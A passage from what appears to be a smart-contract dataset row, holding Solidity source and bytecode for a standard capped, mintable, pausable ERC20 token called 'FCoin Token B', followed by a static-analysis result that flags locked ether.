73ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f545551000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fe57600080fd5b61114f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167c57fe5b818303905092915050565b6000818301905082811015151561169a57fe5b809050929150505600a165627a7a7230582008878df79e53b186869ddf53ebf71f6aeab576e9a016390287058421dd08de930029
|
{"success": true, "error": null, "results": {}}
| 8,098 |
0xf3cf4f251edbdbd18f1c75b3e087e80d902558ae
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract FCoinTokenB is CappedToken, PausableToken {
string public constant name = "FCoin Token B"; // solium-disable-line uppercase
string public constant symbol = "FTB"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 10000000000000000000000000000;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea57806318160ddd1461020e57806323b872dd146102355780632ff2e9dc1461025f578063313ce5671461027457806332cb6b0c1461025f578063355274ea1461029f5780633f4ba83a146102b457806340c10f19146102cb5780635c975abb146102ef578063661884631461030457806370a0823114610328578063715018a6146103495780637d64bcb41461035e5780638456cb59146103735780638da5cb5b1461038857806395d89b41146103b9578063a9059cbb146103ce578063d73dd623146103f2578063dd62ed3e14610416578063f2fde38b1461043d575b600080fd5b34801561014357600080fd5b5061014c61045e565b604080519115158252519081900360200190f35b34801561016c57600080fd5b5061017561046e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a03600435166024356104a5565b34801561021a57600080fd5b506102236104c9565b60408051918252519081900360200190f35b34801561024157600080fd5b5061014c600160a060020a03600435811690602435166044356104cf565b34801561026b57600080fd5b506102236104f5565b34801561028057600080fd5b50610289610505565b6040805160ff9092168252519081900360200190f35b3480156102ab57600080fd5b5061022361050a565b3480156102c057600080fd5b506102c9610510565b005b3480156102d757600080fd5b5061014c600160a060020a036004351660243561056d565b3480156102fb57600080fd5b5061014c6105b8565b34801561031057600080fd5b5061014c600160a060020a03600435166024356105c1565b34801561033457600080fd5b50610223600160a060020a03600435166105de565b34801561035557600080fd5b506102c96105f9565b34801561036a57600080fd5b5061014c610667565b34801561037f57600080fd5b506102c96106b5565b34801561039457600080fd5b5061039d610714565b60408051600160a060020a039092168252519081900360200190f35b3480156103c557600080fd5b50610175610723565b3480156103da57600080fd5b5061014c600160a060020a036004351660243561075a565b3480156103fe57600080fd5b5061014c600160a060020a0360043516602435610777565b34801561042257600080fd5b50610223600160a060020a0360043581169060243516610794565b34801561044957600080fd5b506102c9600160a060020a03600435166107bf565b60035460a060020a900460ff1681565b60408051808201909152600d81527f46436f696e20546f6b656e204200000000000000000000000000000000000000602082015281565b60055460009060ff16156104b857600080fd5b6104c283836107f2565b9392505050565b60015490565b60055460009060ff16156104e257600080fd5b6104ed848484610858565b949350505050565b6b204fce5e3e2502611000000081565b601281565b60045481565b600354600160a060020a0316331461052757600080fd5b60055460ff16151561053857600080fd5b6005805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a0316331461058757600080fd5b60035460a060020a900460ff161561059e57600080fd5b60055460ff16156105ae57600080fd5b6104c283836109cf565b60055460ff1681565b60055460009060ff16156105d457600080fd5b6104c28383610a2b565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461061057600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461068157600080fd5b60035460a060020a900460ff161561069857600080fd5b60055460ff16156106a857600080fd5b6106b0610b1b565b905090565b600354600160a060020a031633146106cc57600080fd5b60055460ff16156106dc57600080fd5b6005805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f4654420000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff161561076d57600080fd5b6104c28383610b9f565b60055460009060ff161561078a57600080fd5b6104c28383610c80565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146107d657600080fd5b60055460ff16156107e657600080fd5b6107ef81610d19565b50565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561086f57600080fd5b600160a060020a03841660009081526020819052604090205482111561089457600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156108c457600080fd5b600160a060020a0384166000908152602081905260409020546108ed908363ffffffff610dae16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610922908363ffffffff610dc016565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610964908363ffffffff610dae16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600354600090600160a060020a031633146109e957600080fd5b60035460a060020a900460ff1615610a0057600080fd5b600454600154610a16908463ffffffff610dc016565b1115610a2157600080fd5b6104c28383610dd3565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610a8057336000908152600260209081526040808320600160a060020a0388168452909152812055610ab5565b610a90818463ffffffff610dae16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600354600090600160a060020a03163314610b3557600080fd5b60035460a060020a900460ff1615610b4c57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b6000600160a060020a0383161515610bb657600080fd5b33600090815260208190526040902054821115610bd257600080fd5b33600090815260208190526040902054610bf2908363ffffffff610dae16565b3360009081526020819052604080822092909255600160a060020a03851681522054610c24908363ffffffff610dc016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cb4908363ffffffff610dc016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a03163314610d3057600080fd5b600160a060020a0381161515610d4557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610dba57fe5b50900390565b81810182811015610dcd57fe5b92915050565b600354600090600160a060020a03163314610ded57600080fd5b60035460a060020a900460ff1615610e0457600080fd5b600154610e17908363ffffffff610dc016565b600155600160a060020a038316600090815260208190526040902054610e43908363ffffffff610dc016565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820d9fb80b014b095eb7d65c33f998119c04657c2ffa1aba416625e099a844f028c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.